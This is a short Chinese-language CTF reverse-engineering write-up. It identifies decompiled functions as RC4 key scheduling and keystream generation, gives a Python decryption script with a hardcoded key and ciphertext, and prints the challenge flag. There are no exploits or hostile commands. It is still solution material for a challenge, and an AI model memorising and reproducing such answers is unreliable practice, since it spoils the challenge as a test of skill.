輸出結果是 b4r3MEt41,可看成是一個 key。 讓 ChatGPT 查看 sub_44, sub_FA 邏輯,生成逆向邏輯程式。

class Struct:
    def __init__(self):
        self.data = list(range(256))
        self.field_100 = 0
        self.field_104 = 0

def sub_44(result, key):
    """KSA"""
    for i in range(256):
        result.data[i] = i
    result.field_100 = 0
    result.field_104 = 0
    v9 = 0
    key_len = len(key)
    for j in range(256):
        v5 = (key[j % key_len] + result.data[j] + v9) & 0xFF
        result.data[j], result.data[v5] = result.data[v5], result.data[j]
        v9 = v5

def sub_FA(a1):
    """PRGA"""
    a1.field_100 = (a1.field_100 + 1) & 0xFF
    a1.field_104 = (a1.field_104 + a1.data[a1.field_100]) & 0xFF
    a1.data[a1.field_100], a1.data[a1.field_104] = a1.data[a1.field_104], a1.data[a1.field_100]
    idx = (a1.data[a1.field_100] + a1.data[a1.field_104]) & 0xFF
    return a1.data[idx]

def encrypt(key, plaintext):
    s = Struct()
    sub_44(s, [ord(c) for c in key])
    cipher = []
    for b in plaintext:
        ks = sub_FA(s)
        cipher.append(ks ^ b)
    return cipher

def decrypt(key, ciphertext):
    # RC4 對稱
    s = Struct()
    sub_44(s, [ord(c) for c in key])
    plain = []
    for c in ciphertext:
        ks = sub_FA(s)
        plain.append(ks ^ c)
    return bytes(plain)

# 範例
key = "b4r3MEt41"
ciphertext = [
    0xA2, 0xC3, 0x9E, 0xCC, 0x60, 0x35, 0xEE, 0xBF, 0xF5, 0x7D, 
    0x78, 0x5A, 0xCD, 0xD5, 0xC8, 0x52, 0x80, 0xAE, 0xC6, 0x19, 
    0x56, 0xF2, 0xA7, 0xCB, 0xD5, 0xB, 0xE1, 0x61, 0xB9, 0x14
]  # 這是 byte_394 XOR keystream
plaintext = decrypt(key, ciphertext)
print(plaintext)

Flag

EOF{ExP3d14i0N_33_15_4he_G0AT}